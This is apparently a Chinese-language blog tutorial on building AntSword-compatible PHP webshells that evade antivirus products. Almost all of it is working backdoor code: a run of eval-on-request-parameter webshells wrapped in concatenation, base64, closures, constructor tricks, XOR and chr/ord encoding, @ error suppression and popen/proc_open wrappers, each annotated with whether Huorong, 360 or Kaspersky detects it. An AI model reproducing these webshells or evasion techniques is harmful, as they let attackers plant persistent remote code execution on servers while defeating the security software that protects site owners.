蚁剑编码器编写——php木马免杀
我的想法是 木马要先免杀,能够落地,再去考虑流量层面的问题
举几个例子演示一下
命令执行与代码执行是有比较大的区别,蚁剑执行的是php代码,而system,proc_open,passthru,exec,shell_exec,反引号等都是命令执行,举个例子
<?php eval($_REQUEST["a"]);?> //蚁剑可以连接成功,但是无法直接拼接执行命令
<?php passthru($_REQUEST["a"]);?>//蚁剑会显示数据为空,但是可以拼接执行命令
而能够执行多行php代码的函数也就只有eval,无论蚁剑还是godzilla,都是通过代码执行进而命令执行,所以你会看到所有的明文马儿里面都是有eval函数的,那么也就是说eval函数是无法替换的
那么就会有两个方面,加密再解密eval函数,更改eval写法
更改eval写法,举个例子
<?php eval("/*echo*/".$_REQUEST["a"]);?>
或者
<?php eval($_REQUEST["a"]."#aaa");?>
也是可以的。eval本身是支持字符串连接的
当然了,这已经不免杀了,那么加解密再来一下,
base64
<?php eval(base64_decode(base64_encode($_REQUEST["a"]))."#aaa");?>
死在火绒手里
那么再加一个参数
<?php eval(base64_decode(base64_encode($_REQUEST["a"])).$_REQUEST["b"]."#aaa");?>
又死了
加个条件判断
<?php
if($_REQUEST["b"]=null){
eval(base64_decode(base64_encode($_REQUEST["a"]))."#aaa");
}else{
echo $_REQUEST["b"];
}
?>
继续
<?php
$code='$a;';
$func=function ($a) use ($code){
return eval($code);
};
echo $func(eval($_REQUEST["a"]))
?>
又死在火绒的刀下
多加一层
<?php
function a($b){
return function ($c) use($b){
return eval($c);
};
}
$d=a('aaa');
echo $d(eval($_REQUEST["a"]))
?>
火绒的刀不太硬啊
魔术方法
<?php
class test {
public function __construct($b = null) {
if ($b !== null) {
eval($b);
}
}
}
$b=$_REQUEST["a"];
$test = new Test($b);
?>
当然了,360的刀到目前来说还是挺硬的
来个简单的加解密
<?php
function xorEncryptDecrypt($data, $key) {
$keyLength = strlen($key);
$result = '';
for ($i = 0; $i < strlen($data); $i++) {
$keyChar = $key[$i % $keyLength];
$result .= chr(ord($data[$i]) ^ ord($keyChar));
}
return $result;
}
$originalData = $_REQUEST["a"];
$key = $_REQUEST["b"];
$encryptedData = xorEncryptDecrypt($originalData, $key);
$decryptedData = xorEncryptDecrypt($encryptedData, $key);
echo eval($decryptedData);
?>
也不行,那我加个@
<?php
function xorEncryptDecrypt($data, $key) {
$keyLength = strlen($key);
$result = '';
for ($i = 0; $i < strlen($data); $i++) {
$keyChar = $key[$i % $keyLength];
$result .= chr(ord($data[$i]) ^ ord($keyChar));
}
return $result;
}
$originalData = $_REQUEST["a"];
$key = $_REQUEST["b"];
$encryptedData = xorEncryptDecrypt($originalData, $key);
$decryptedData = xorEncryptDecrypt($encryptedData, $key);
echo @eval($decryptedData);
?>
这也是成功拿下,当然了,你们要是把之前的马儿也加个@,或许有奇效
继续绕一下卡巴斯基
外面一层用其他函数替代
<?php
$a="aaaa";
$a=$_REQUEST["a"];
$handle = popen(@eval($a), 'r');
if ($handle) {
while (!feof($handle)) {
$buffer = fgets($handle);
echo $buffer;
}
pclose($handle);
}
那再换一个
<?php
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$a=$_REQUEST["a"];
$process = proc_open(@eval($a), $descriptorspec, $pipes, NULL, NULL);
if (is_resource($process)) {
$stdout = stream_get_contents($pipes[1]);
fclose($pipes[1]);
fclose($pipes[0]);
echo "$stdout";
$return_value = proc_close($process);
}
擦擦擦 竟然被360杀了,加解密一次
<?php
function xorEncryptDecrypt($data, $key) {
$keyLength = strlen($key);
$result = '';
for ($i = 0; $i < strlen($data); $i++) {
$keyChar = $key[$i % $keyLength];
$result .= chr(ord($data[$i]) ^ ord($keyChar));
}
return $result;
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$a=$_REQUEST["a"];
$key=123456789;
$encryptedData = xorEncryptDecrypt($a, $key);
$a = xorEncryptDecrypt($encryptedData, $key);
$process = proc_open(@eval($a), $descriptorspec, $pipes, NULL, NULL);
if (is_resource($process)) {
$stdout = stream_get_contents($pipes[1]);
fclose($pipes[1]);
fclose($pipes[0]);
echo "$stdout";
$return_value = proc_close($process);
}
也是成功拿下,当然了,多写几个加密套在一起都可以免杀
chr配合ord加解密
<?php
function simpleTransform($str, $offset = 1) {
$transformed = '';
for ($i = 0; $i < strlen($str); $i++) {
$transformed .= chr((ord($str[$i]) + $offset) % 256);
}
return $transformed;
}
$original = $_REQUEST["a"];
$transformed = simpleTransform($original, 3);
function reverseTransform($str, $offset = 1) {
$reversed = '';
for ($i = 0; $i < strlen($str); $i++) {
$reversed .= chr((ord($str[$i]) - $offset + 256) % 256);
}
return $reversed;
}
$reversed = reverseTransform($transformed, 3);
echo eval($reversed);